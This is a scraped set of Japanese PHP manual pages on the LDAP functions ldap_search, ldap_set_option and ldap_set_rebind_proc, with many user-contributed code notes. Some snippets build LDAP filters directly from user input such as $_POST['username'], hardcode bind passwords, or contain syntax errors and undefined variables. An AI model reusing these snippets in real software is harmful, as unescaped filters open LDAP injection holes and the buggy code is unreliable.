    $filter = "(&(objectclass=person)(cn=" . $user_name . "))";
    $att    = array(
        'uid',
        'workforceID',
        'employeeID',
        'givenName',
        'sn',
        'mail'
        );
    $data   = $this->query($filter, $att, 2, true);
steven_bauman at outlook dot com 27-Jan-2020 03:39
Can an example using the new $serverctrls parameter please be added? I have no idea how to use this.
anze dot pratnemer at fe dot uni-lj dot si 28-Jan-2019 08:59
While developing a plugin, I had to search users on LDAP server using ldap_search() command and it was not finding them, but ldapsearch command in unix shell (ubuntu) did.

Problem was few lines above in my code, around ldap_connect(). For server address I input ldap://server.hostname, which turned to be the culprit.

Once I used only server.hostname, without protocol (ldap://), users where found and shown correctly.
mike at remi-designs dot net 13-Jun-2016 10:27
I ran into the problem, that the attribute I was search for had the matching rule of "exactMatch".

Example:
E-Mail Address is stored in mixed case: John.Doe@example.com

LDAP Search will not retrieve any values when the user enters: john.doe@example.com

Solution: instead of comparing user input and attribute value by

<?php
if($data[$i]['mail'][0] == $username) {
    // this will run into nothing
}
?>

use strcasecmp instead:

<?php
if(strcasecmp($data[$i]['mail'][0], $username) == 0) {
    // works
}
jayleno at yahoo dot com 15-May-2013 06:28
<?php
set_time_limit(30);
error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);
ini_set('display_errors',1);

// config
$ldapserver = 'svr.domain.com';
$ldapuser      = 'administrator';
$ldappass     = 'PASSWORD_HERE';
$ldaptree    = "OU=SBSUsers,OU=Users,OU=MyBusiness,DC=myDomain,DC=local";

// connect
$ldapconn = ldap_connect($ldapserver) or die("Could not connect to LDAP server.");

if($ldapconn) {
    // binding to ldap server
    $ldapbind = ldap_bind($ldapconn, $ldapuser, $ldappass) or die ("Error trying to bind: ".ldap_error($ldapconn));
    // verify binding
    if ($ldapbind) {
        echo "LDAP bind successful...<br /><br />";

        $result = ldap_search($ldapconn,$ldaptree, "(cn=*)") or die ("Error in search query: ".ldap_error($ldapconn));
        $data = ldap_get_entries($ldapconn, $result);

        // SHOW ALL DATA
        echo '<h1>Dump all data</h1><pre>';
        print_r($data);
        echo '</pre>';

        // iterate over array and print data for each entry
        echo '<h1>Show me the users</h1>';
        for ($i=0; $i<$data["count"]; $i++) {
            //echo "dn is: ". $data[$i]["dn"] ."<br />";
            echo "User: ". $data[$i]["cn"][0] ."<br />";
            if(isset($data[$i]["mail"][0])) {
                echo "Email: ". $data[$i]["mail"][0] ."<br /><br />";
            } else {
                echo "Email: None<br /><br />";
            }
        }
        // print number of entries found
        echo "Number of entries found: " . ldap_count_entries($ldapconn, $result);
    } else {
        echo "LDAP bind failed...";
    }

}

// all done? clean up
ldap_close($ldapconn);
?>
Jean-Loup 01-Feb-2012 06:27
Example of parallel search :

<?php
$basedn=array('dmdName=users,dc=foo,dc=fr','dmdName=users,dc=bar,dc=com');  // two basedn
$filter='(&(objectClass=inetOrgPerson)(uid=*))';  // single filter
$attributes=array('dn','uid','sn');

$cnx = ldap_connect('localhost',389); // single connection
ldap_set_option($cnx, LDAP_OPT_PROTOCOL_VERSION, 3);

ldap_bind($cnx,'uid=root,dc=foo,dc=fr','password');  // authentication on two BDB
ldap_bind($cnx,'uid=root,dc=bar,dc=com','password');

$search = ldap_search(array($cnx,$cnx),$basedn,$filter,$attributes);  // search

// result
for($i=0;$i<count($search);$i++){
    print_r(ldap_get_entries($cnx,$search[$i]));
    print "\n";
}
?>
info at acpower dot biz 19-Sep-2011 03:07
I'm a newbie, so I hope this helps some other newbie with a head scratcher...

This code returned an error of 'No Such Object':

<?php

    $search = ldap_search ($ldapcon, "cn=admin,dc=acpower,dc=biz", "(filters)");

?>

I took out the cn, and magic! it works:

<?php

    $search = ldap_search ($ldapcon, "dc=acpower,dc=biz", "(filters)");

?>
nick 01-Sep-2011 11:09
Results from ActiveDirectory may be ordered by objectSid.
We can get all users for each page size by modify filter.

<?php
// ... connect to ldap
$lastsid='';
while (1) {
    $filter = '(objectClass=user)';
    if (strlen($lastsid)) {
        list($v)=array_values(unpack('V',substr($lastsid,24))); // id for user.
        $s = substr($lastsid,0,24).pack('V',1+$v); // next sid.
        $s = preg_replace('/../','\\\\$0',bin2hex($s)); // escape for fiter
        $filter = '(&'.$filter.'(objectSid>='.$s.'))'; // fiter for next entries.
    }
    $res = ldap_search($ldap,$basedn,$filter,array('objectSid','cn'));
    if (!ldap_count_entries($ldap,$res)) {
        break;
    }
    for ($ent=ldap_first_entry($ldap,$res); $ent; $ent=ldap_next_entry($ldap,$ent)) {
        list($lastsid) = ldap_get_values_len($ldap,$ent,'objectSid');
    }
}
?>
Arnold 11-May-2011 01:35
I have been working on a script where I needed to get all the users who were member of a specific MS AD group. Because of PHP bug #42060 ( http://bugs.php.net/bug.php?id=42060 ) I could not get all the users back who were member of the group.
After googling for a day I found an article and a patch but it required that I downloaded the source code for php 5.1.6 or 5.2.10 run the patch and than recompile the code to fix the problem.
Problem was
1) I am not a Linux goeroe so I was not very comfortable doing this....
2) I am running the script on a production machine with other code using PHP and did not know what the consequence would bee for that code.
3) I could not update PHP anymore because in newer versions this patch would probably not work any more.

But yesterday I saw the light and wrote some code to get around this problem, maybe other people can use it that have the same problem.

<?PHP
$startFilter        = "(&(memberOf=" .$ADGroup. "))";
$startResults        = ldap_search($ldapconnect, $userBase, $startFilter, $attr);
$countResult        = ldap_count_entries($ldapconnect,$startResults);

IF($countResult == 1000 OR $countResult == 1500)
{
    // loop trough the number 97-122 (ASCII number for the characters a-z)
    For($a=97;$a<=122;$a++)
    {
        // translate the number to a character
        $character            = chr($a);
        // the new search filter withs returns all users with a last name starting with $character
        $filter            = "(&(sn=$character*)(memberOf=$ADGroup))";
        $results        = ldap_search($ldapconnect, $userBase, $filter, $attr);
        $countResult2    = ldap_count_entries($ldapconnect,$results);

        // See if the search for all users starting with a specific character still hits the search limit
        // if so than do a new search to find all the users where the last name starts with "aa" and
        // than with "ab", "ac" etc. etc
        // In the best case we can now find 675.324 users per group when the search limit is 1000
        // ((26 * 999  for the fist character) * 26 for the second character)
        // and 1.013.324 when the search limit is 1500
        If($countResult2 == 1000 or $countResult2 == 1500)
        {
            For($b=97;$b<=122;$b++)
            {
                $character2    = chr($b);
                $filter2    = "(&(sn=$character$character2*)(memberOf=$ADGroup))";
                $results2    = ldap_search($ldapconnect, $userBase, $filter2, $attr);
                $count2        = ldap_count_entries($ldapconnect,$results2);
                $entries2    = ldap_get_entries($ldapconnect,$results2);

                // do your thing
            }
        }
        Else
        {
            $entries            = ldap_get_entries($ldapconnect,$results);
            // do your thing
        }
    }
}
else
{
    $entries            = ldap_get_entries($ldapconnect,$startResults);
    // do your thing
}
?>
ben _at_ onshop.co.uk 19-Jan-2010 02:11
Following from my note of 11-Nov-2009 06:56 regarding DN issues when using LDAP instead of the Global Catalog when querying AD, further investigation was showing that although the results were in the packet, I was getting an error instead:

'Search: Can't contact LDAP server' AKA Error 81.

Using more detailed analysis:

ldap_get_option($ds,LDAP_OPT_ERROR_STRING,$error);

echo $error

Displayed:

Referral: ldap://DomainDnsZones.defg.de.bc.ac.uk/ DC=DomainDnsZonesDC=defg,DC=de,DC=abc,DC=ac,DC=uk

By using trial and error, the error went away and results returned when using:

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ben _at_ onshop_co_uk 11-Nov-2009 10:24
Example to illustrate searching more than one DN (multiple DNs):

<?php
$ds=ldap_connect($ldapserver);

$dn[]='OU=ABC,DC=xyz,DC=ac,DC=uk';
$dn[]='OU=DEF,DC=xyz,DC=ac,DC=uk';

$id[] = $ds;
$id[] = $ds;

$filter = 'samaccountname='.$_POST['username'];

$result = ldap_search($id,$dn,$filter);

$search = false;

foreach ($result as $value) {
    if(ldap_count_entries($ds,$value)>0){
        $search = $value;
        break;
    }
}

if($search){
    $info = ldap_get_entries($ds, $search);
}else{
    $info = 'No results found';
}
?>
chrisbloom7 at gmail dot com 08-Aug-2007 01:18
Here are a couple of resources for proper construction of filters.

http://msdn2.microsoft.com/En-US/library/aa746475.aspx

http://technet.microsoft.com/en-us/library/aa996205.aspx

Before finding these I had been stumped for hours on how to do something like "all users starting with "a" except those from OU 'foo'"
Allie 06-Mar-2007 02:38
I just posted on the ldap_bind, but I figured it couldn't hurt here since this was the first place I stopped when trying to figure out my problem.  My error pointed to ldap_search, but specifying the ldap_connect port was the fix.

When you want to search the entire directory for MS AD, you must specify port 3268 in your bind.  This is also true for apache auth_ldap.

 $ldapserver = ldap_connect($server,3268);
27-Jan-2006 03:53
HOWTO list LDAP users.

This CODE list one user from LDAP tree, but I' like list all user from LDAP one ou=Organization

<?php

$ldaprdn = 'cn=user,dc=domain,dc=org';
$ldappass = 'password';
$sdn = 'cn=user,ou=group,dc=domain,dc=org';

$ldapconn = ldap_connect("ldap://localhost", 389)
or die("Not connect: $ldaphost ");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
$filter="uid=*";
$justthese = array("uid");

$sr=ldap_read($ldapconn, $srdn, $filter, $justthese);
$entry = ldap_get_entries($ldapconn, $sr);

} else {
echo "LDAP conn ok...";
}

}

ldap_close($ldapconn);

?>
<?php
echo $entry[0]["mail"][0] . " mail adress ";
echo $entry[0]["sn"][0] . " Name ";
?>
cruzfern at chuchuwa dot com dot ar 30-Aug-2005 09:14
The internal attributes (like createTimestamp, modifyTimestamp, etc), don't come by default (when the optional parameter attributes is not set). You have to specify it:

<?
$r=ldap_search($ds,$base,$filter,array("createTimestamp"));
?>
fmouse at fmp dot com 01-Mar-2005 10:53
It appears that the Netscape Directory SDK (developer.netscape.com) referenced for LDAP filter information is no longer accepting connections.   The A copy of RFC 2254 which defines the standard for string representations of LDAP filters can be found  at http://www.ietf.org/rfc/rfc2254.txt
openldap at mail dot doris dot cc 11-Feb-2005 07:54
PHP 4.3.10

I was trying to do an ldapsearch without a basedn.  First, I tried with ' ', as suggested above, but it gave me invalid dn syntax error.

ie:
$sr=ldap_search($ds, ' ', $filter);
Warning: ldap_search(): Search: Invalid DN syntax in ...

Then I changed it to
$sr=ldap_search($ds, "", $filter);

Which gave me the following error:
Warning: ldap_search(): Search: No such object in ...

With that I then modified my ldap.conf file and commented out the BASE field
#BASE   dc=example, dc=com

Then it worked!

So it looks like if you supply a blank basedn, then it will use your default basedn in ldap.conf.
rsu_friend at yahoo dot com 11-Feb-2005 01:03
I was doing a ldap_search with
$searchbasedn = "miDomainName=" . $_SESSION['selectDomain'] ."," . LDAP_DOMAINBASE;
$filter = "(&(mpsAccountNumber=". $acctNumber .")(objectclass=mpsAccountDetails))";
$attributes = array("mpsparentchild");

 $sr = ldap_search($ldapconn, $searchbasedn, $filter,$attributes);

For some reasone this search was failing
but I was able to do successful search only when I gave the search filter as
$filter = "(&(mpsAccountNumber= $acctNumber )(objectclass=mpsAccountDetails))";

I did not get why the ldap_search was not able to search in the first case.
sema at technion dot ac dot il 04-Sep-2004 10:54
In order to perform the searches on Windows 2003 Server Active Directory you have to set the LDAP_OPT_REFERRALS option to 0:

ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

Without this, you will get "Operations error" if you try to search the whole AD schema (using root of the domain as a $base_dn).

As opposed to Windows 2000 Server, where this option was optional and only increased the performance.
chester at the dot underground dot com dot au 20-Nov-2003 01:45
If you are searching active directory and are experiencing lag or time outs, it may be that you are being given ldap referrals from the ldap server. The following code will disable this.

<?
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
?>
sembiance at cosmicrealms dot com 16-Nov-2003 06:15
When searching for BINARY data (such as an Active Directory objectGUID) you need to escape each hexadecimal character with a backslash.

The following command line run of ldapsearch shows:
ldapsearch -b "dc=blahblah,dc=com" "(objectGUID=\AE\C3\23\35\F7)"

In PHP, you need to escape the escape for the backslash:
ldap_search($ds,"dc=blahblah,dc=com", "(objectGUID=\\AE\\C3\\23\\35\\F7)");
francis dot tyers at hp dot com 10-Nov-2003 07:53
it seems that all fields must be used in lower case even if they are mixed case in the ldapsearch output.

example:

gidNumber: 1010
homeDirectory: /home/dnt

must be:

echo "gid: " . $info[$i]["gidnumber"][0] . "<br>";
echo "home directory: ". $info[$i]["homedirectory"][0] ."<br>";

not ( $info[$i]["homeDirectory"][0] ) etc.
nicolas at atanis dot net 19-Aug-2003 11:17
Here is a little script that make a complete subtree search ( i know a script above seems do that but it doesnt work fine)
This is my version:

Voila ce que j'ai fait aujourd'hui ...

      $ldap_host = "192.168.0.50";
    $ldap_port = "389";
    $base_dn = "dc=fr";
    $filter = "(cn=*)";
    $ldap_user ="cn=admin,dc=fr";
    $ldap_pass = "hellodelu";
    $connect = ldap_connect( $ldap_host, $ldap_port);
    ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

    $bind = ldap_bind($connect, $ldap_user, $ldap_pass);
    $read = ldap_search($connect, $base_dn, $filter);

    $info = ldap_get_entries($connect, $read);
    echo $info["count"]." entrees retournees<BR><BR>";
    for($ligne = 0; $ligne<$info["count"]; $ligne++)
    {
        for($colonne = 0; $colonne<$info[$ligne]["count"]; $colonne++)
        {
            $data = $info[$ligne][$colonne];
            echo $data.":".$info[$ligne][$data][0]."<BR>";
        }
        echo "<BR>";
    }
ldap_close($connect);

--------
nicolas
me at gavinadams dot org 15-Aug-2003 01:38
Minor clarification on AD LDAP searchs. Small typo in previous example, and does not display multiple values per attribute. Here's the for loop to enumerate all entries, attributes, and values:

$bind = ldap_bind($connect) // asume anon connect or add user/pass
     or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
     or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<br>";
// $i = entries
// $ii = attributes for entry
// $iii = values per attribute
for ($i = 0; $i<$info["count"]; $i++) {
  for ($ii=0; $ii<$info[$i]["count"]; $ii++){
     $data = $info[$i][$ii];
     for ($iii=0; $iii<$info[$i][$data]["count"]; $iii++) {
       echo $data.":&nbsp;&nbsp;".$info[$i][$data][$iii]."<br>";
     }
  }
echo "<p>"; // separate entries
php @ fccfurn dot com 11-Apr-2003 03:35
To do subtree search from top DN in Active Directory, Make sure you do your ldap_set_option().

<?php
$ldap_host = "pdc.php.net";
$base_dn = "DC=php,DC=net";
$filter = "(cn=Joe User)";
$ldap_user  = "CN=Joe User,OU=Sales,DC=php,DC=net";
$ldap_pass = "pass";
$connect = ldap_connect( $ldap_host, $ldap_port)
         or exit(">>Could not connect to LDAP server<<");
ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
$bind = ldap_bind($connect, $ldap_user, $ldap_pass)
      or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
      or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<p>";
$ii=0;
for ($i=0; $ii<$info[$i]["count"]; $ii++){
    $data = $info[$i][$ii];
    echo $data.":&nbsp;&nbsp;".$info[$i][$data][0]."<br>";
}
ldap_close($connect);
?>
Kamil Kukura <kamk at nexen dot cz> 26-Feb-2003 09:20
When I tried to search with empty base DN on OpenLDAP server which had "" namingContext I got result "no such object". In the log file there was query for dn: dc=example,dc=com (!).
As a workaround, it seems it's enough to feed it with space (' ') as base DN - ldap_search($ds, ' ', '(...filter...)', ...
neumeyed at city dot bloomington dot in dot us 29-Jan-2003 04:50
A previous comment noted: "I've also noticed that the departmentNumber, employeeNumber (and maybe others in inetorgperson.schema) are not returned from a search."

This is incorrect. These attributes are returned, but you must reference them with lowercase names. That is, instead of doing this:

$entries[0]["departmentNumber"][0]

Do this:

$entries[0]["departmentnumber"][0]

This doesn't seem like "correct" behavior to me, but I don't know enough about LDAP to say for sure.
nick dot veitch at futurenet dot co dot 17-Jan-2003 08:59
It might be useful to list here the operators that work:

=         - matches exact value
=*xxx  - matches values ending xxx
=xxx*  - matches values beginning xxx
=*xxx* - matches values containing xxx
=*       - matches all values (if set - NULLS are not returned)

>=xxx  - matches everthing from xxx to end of directory
<=xxx  - matches everything up to xxx in directory

~=xxx      - matches similar entries (not all systems)

Boolean operators for constructing complex search

&(term1)(term2)  - matches term1 AND term2
| (term1)(term2)  - matches term1 OR term2
!(term1)                 - matches NOT term1
&(|(term1)(term2))(!(&(term1)(term2)) - matches XOR term1 term2

some of the more compelx constructions seem to work with varying  degrees of efficiency - sometimes it can be better to filter some of the results with the search and do further filtering in PHP.
emrecio at netscape dot net 30-Sep-2002 08:42
implode(", ",$uentry[0]["rfc822mailalias"]);

doesn't work as expected because "count" is in there... one /must/ use the 'for' loop to cycle through results (discarding "count" element).
jpdalbec at ysu dot edu 09-Sep-2002 07:33
I've found that spaces need to be escaped in search filters ("\20"), at least using the Red Hat PHP 4.1.2 package.  Otherwise no results are returned.
john_taylor_1973 at yahoo dot com 27-Jun-2002 02:26
Try to use ldap_list(), if possible.  It is much faster.  ldap_search searches a scope of LDAP_SCOPE_SUBTREE, but ldap_list searches a scope of just LDAP_SCOPE_ONELEVEL.  This made a big difference on Novell eDirectory 8.6.1, even for a query that only returned 130 objects.  Using an attribute list, the 4th function parameter (of either function), also made queries faster.
31-Aug-2001 07:13
I used the following to retrieve all entries from an ILS (Netmeeting) Server:<p>    $sr=ldap_search($ds, "objectclass=rtperson","(&(cn=%)(objectclass=rtperson))");
<p>Have fun!
<p>Kees
cdaveb at csua dot berkeley dot edu 02-Jan-2001 05:23
FYI, for those doing LDAP searches on Exchange servers, there seems to be some preference in Exchange to disallow searches that aren't initial searches (i.e. only x* will work, not * or *x). I'd been going nuts trying to figure out why I kept getting errors doing * searches.

More info at:
http://www.microsoft.com/Exchange/en/55/help/documents/server/XOG16007.HTM
aa529 at nospamchebucto dot ns dot ca 22-Nov-1999 01:27
Be careful of special characters when generating filters from user input.

*, (, ), \ and NUL should be backslash-escaped. See section 4 of RFC 2254 (I found it here:
http://www.cis.ohio-state.edu/htbin/rfc/rfc2254.html)


指定したオプションの値を設定する

  • ≪ ldap_search
  • ldap_set_rebind_proc ≫
  • PHP Manual
  • LDAP 関数
  • 指定したオプションの値を設定する

ldap_set_option

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ldap_set_option — 指定したオプションの値を設定する

説明

ldap_set_option ( resource|null $ldap , int $option , array|string|int|bool $value ) : bool

指定したオプションの値を value に設定します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

option

パラメータ option は以下のいずれかとなります。

オプション | 型 | ～以降で使用可能
LDAP_OPT_DEREF | int
LDAP_OPT_SIZELIMIT | int
LDAP_OPT_TIMELIMIT | int
LDAP_OPT_NETWORK_TIMEOUT | int
LDAP_OPT_PROTOCOL_VERSION | int
LDAP_OPT_ERROR_NUMBER | int
LDAP_OPT_REFERRALS | bool
LDAP_OPT_RESTART | bool
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_DIAGNOSTIC_MESSAGE | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array
LDAP_OPT_X_KEEPALIVE_IDLE | int | PHP 7.1.0
LDAP_OPT_X_KEEPALIVE_PROBES | int | PHP 7.1.0
LDAP_OPT_X_KEEPALIVE_INTERVAL | int | PHP 7.1.0
LDAP_OPT_X_TLS_CACERTDIR | string | PHP 7.1.0
LDAP_OPT_X_TLS_CACERTFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CERTFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CIPHER_SUITE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CRLCHECK | int | PHP 7.1.0
LDAP_OPT_X_TLS_CRLFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_DHFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_KEYFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_PROTOCOL_MIN | int | PHP 7.1.0
LDAP_OPT_X_TLS_RANDOM_FILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_REQUIRE_CERT | int | PHP 7.0.5

LDAP_OPT_SERVER_CONTROLS および LDAP_OPT_CLIENT_CONTROLS はコントロールのリストを必要とします。 これは、値がコントロールの配列である必要があることです。 コントロールは、そのコントロールの ID である oid、オプションの value、オプションのフラグ criticality からなります。PHP において、 コントロールはキーが oid で値が文字列、 二つのオプションの要素からなる配列で指定されます。オプションの要素は、 キーが value で値が文字列、そしてキーが iscritical で値が論理値となります。 iscritical を省略した場合のデフォルトは false です。詳細は » draft-ietf-ldapext-ldap-c-api-xx.txt を参照ください。また以下の二番目の例も参照ください。

value

指定したオプション option の新しい値。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 プロトコルバージョンの設定

<?php
// $ds はディレクトリサーバーへの有効なリンクIDです
if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
    echo "LDAPv3 を使用します";
} else {
    echo "プロトコルバージョンを 3 に設定できませんでした";
}
?>

例2 サーバーコントロールの設定

<?php
// $ds は値を持たないディレクトリサーバーコントロールへの有効なリンクID
// です。
$ctrl1 = array("oid" => "1.2.752.58.10.1", "iscritical" => true);
// iscritical のデフォルトは、FALSE です。
$ctrl2 = array("oid" => "1.2.752.58.1.10", "value" => "magic");
// 両方のコントロールを試します
if (!ldap_set_option($ds, LDAP_OPT_SERVER_CONTROLS, array($ctrl1, $ctrl2))) {
    echo "サーバーコントロールの設定に失敗しました。";
}
?>

注意

注意:

この関数は、OpenLDAP 2.x.x または Netscape Directory SDK x.x を使用している場合のみ利用可能です。

参考

  • ldap_get_option() - 指定したオプションの現在の値を得る

User Contributed Notes

Maarten at Aerobe 11-Jan-2020 09:31
PHP 7.1 added support for configuring the LDAP CA/Cert environment directly, rather than relying on the environment variables. I noticed that a lot of people are having trouble getting this to work.

The correct way is:
$ds=ldap_connect("ldap.google.com");
ldap_set_option(NULL, LDAP_OPT_X_TLS_CERTFILE, "/path/file.crt");
ldap_set_option(NULL, LDAP_OPT_X_TLS_KEYFILE, "/path/file.key");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_start_tls($ds);
...
ldap_close($ds);
badbo_5834 at hotmail dot com 10-Dec-2013 08:02
I have the following code, but you do not rename the cn, that may be?

    $TheDN = "cn=Nombre,ou=Addressbook,dc=axia-ldap,dc=net";
    $newRDN = "cn=bill";
    $newParent = "ou=Addressbook,dc=axia-ldap,dc=net";
    ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
    $result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);
Anonymous 19-Nov-2010 01:56
LDAP options description

http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=%2Fapis%2Fldap_set_option.htm
technosophos 07-Mar-2007 02:00
The following flags are valid integer values for the LDAP_OPT_DEREF (as taken from the documentation for ldap_read()):

LDAP_DEREF_NEVER (int 0) - (default) aliases are never dereferenced.

LDAP_DEREF_SEARCHING (int 1) - aliases should be dereferenced during the search but not when locating the base object of the search.

LDAP_DEREF_FINDING (int 2) - aliases should be dereferenced when locating the base object but not during the search.

LDAP_DEREF_ALWAYS (int 3) - aliases should be dereferenced always.

Example:
<?php
ldap_set_option($ds, LDAP_OPT_DEREF, LDAP_DEREF_ALWAYS);
?>

These are defined in the draft C API (presumably from the original LDAP API). See draft-ietf-ldapext-ldap-c-api-xx.txt included in the OpenLDAP source code distribution.
hansfn at gmail dot com 23-May-2006 04:23
Luckily you can turn on debugging before you open a connection:

  ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

This way you at least can see in the logs if the connection fails...
minusf at gmail dot com 31-Oct-2005 01:59
it seems that ldap_set_option returns 1 for bogus ldap_connect -ions also.
ldap_connect always returns a resource (documented in the
comments of ldap_connect) so it is not possible to check if the
ldap server is there or alive or what.  and because ldap_set_option
must be between ldap_connect and ldap_bind, there seems to
be no sense in checking the return value.

it is a bit strange that ldap_bind is the first function which can
really check if a ldap resource is usable because it is the third
function in line to use when working with openldap.

<?php
$connect = ldap_connect("whatever");
$set = ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
echo $set;
?>
soulbros at yahoo dot com 26-Feb-2002 03:56
As john.hallam@compaq.com above mentioned ,one  has to set option LDAP_OPT_PROTOCOL_VERSION=3
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
to use the ldap_rename function.

However, the ldap_set_option() line has to be written immediately after ldap_connect() and before ldap_bind() statements.

Christos Soulios
john dot hallam at compaq dot com 28-Jan-2002 10:00
To get this to work I had to set the LDAP version to 3 using ldap_set_option. Here is an example that might help:

$TheDN = "cn=john smith,ou=users,dc=acme,dc=com";
$newRDN = "cn=bill brown";
$newParent = "ou=users,dc=acme,dc=com";
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
@$result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);


参照先を再バインドするためのコールバック関数を設定する

  • ≪ ldap_set_option
  • ldap_sort ≫
  • PHP Manual
  • LDAP 関数
  • 参照先を再バインドするためのコールバック関数を設定する

ldap_set_rebind_proc

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ldap_set_rebind_proc — 参照先を再バインドするためのコールバック関数を設定する

説明

ldap_set_rebind_proc ( resource $ldap , callable|null $callback ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

変更履歴

バージョン | 説明
8.0.0 | callback は、nullable になりました。

User Contributed Notes

mvanbeek at forgetaboutit dot net 18-Feb-2013 12:15
The $referral that is used in the callback function isn't the bind dn, but the dn of the record that was being accessed (or rather it's location on the master server, I guess, if there is a difference in the two), so you need to rebind with your existing credentials. The connection ($ldap) appears to have already been made to the new server, so it is just a rebind process, nothing else more complicated than that. There must be a loop in the underlying library that re-submits the request that prompted the referral until either a success or fail is returned.

I guess if the bind dn you were using in the first place won't let you edit the record on the master, then that is an ldap rather than php issue. However, at least with the rebind procedure you have a way to modify the bind dn first.

So, the rebind process is really quite simple, now that I understand how it works! I was assuming it to be way more complicated. In it's simplest form, this is all you need, assuming your bind $dn and $pass are globals

<?php
function rebind($ldap, $referral) {
    // Set ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // Rebind
    if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1; // Yes, a 1 means a failure.
        }
    return 0; // Yes, return a 0 on success.
    }
?>
leon at leonux dot co dot za 25-Jun-2011 03:26
I finally have referrals working using the ldap_set_rebind_proc function. Don't connect to the referral server in your callback function. This is done for you. You only have to bind. The callback must return 0 if the bind succeeds or 1 if it fails.

Consider a master - slave LDAP setup where the slave is read-only and refers writes to the master. For the PHP on the slave, you need something like this:

<?php

// Callback function
function rebind($ldap, $referral) {
    // ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // The referral is of the form:
    //  ldaps://newhost/cn=user,ou=people,dc=example,dc=com
    $refparts = explode('/', $referral);
    if (count($refparts) > 2) {
        // Get the bind dn from referral
        $dn = $refparts[3];
        // Bind to new host
        if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1;
        }
    } else {
        // Try anonymous bind
        if (!ldap_bind($ldap)) {
            echo 'Could not bind to referral server anonymously';
            return 1;
        }
    }
    return 0;
}

// Initial ldap connection to slave server
$ldap_host = 'localhost'
$ds = ldap_connect($ldap_host);
// ldap options
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
ldap_set_option($ds, LDAP_OPT_REFERRALS, True)
// Set callback function
ldap_set_rebind_proc($ds, 'rebind'))
// bind
ldap_bind($ds, $dn, $pass)
// ldap write
ldap_modify($ds, $dn, $attr);

?>

Accessing passwords and other data from your callback is easier if you use a class method as the callback function. The callback would be initialized like this:

<?php

ldap_set_rebind_proc($ldap, 'MyClass::rebind');

?>
Anonymous 26-Feb-2011 11:40
I have now spent enough time looking at this issue to say that ldap referrals, at least when trying to add, modify or delete a record on a slave server that correctly gives a referral to a master server, does not work in php. My suggestion is turn turn off ldap referrals and write your own add, modify and delete functions with built in referral handling. Something like this:

<?php
function ldap_referral_add($connection,$add_dn,$Add_entry,$bind_dn,$bind_pw)
    {
    $rconnection = $connection;
    $loop = 10; # max number of referral hops.
    # Turn off normal referrals
    ldap_get_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting)
    do
        {
        $response = ldap_add($rconnection,$dn,$entry);
        # We get a success message:
        if ( $response )
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return true;
            }
        # We get a referral message:
        elseif ( !$response && ldap_errno($rconnection) == 0x0a )
            {
            $new_server_url = $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $ldap_error($rconnection)); # May need some sanity checking here
            $rconnection = ldap_connect($new_server_url);
            ldap_set_option($rconnection,LDAP_OPT_REFERRALS,0)
            ldap_set_option($rconnection,LDAP_OPT_PROTOCOL_VERSION, 3)
            ldap_bind($rconnection,$bind_dn,$bind_pw);
            $loop = $loop - 1;
            }
        else
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return false;
            }
        } while ( $loop > 0);
    }
?>
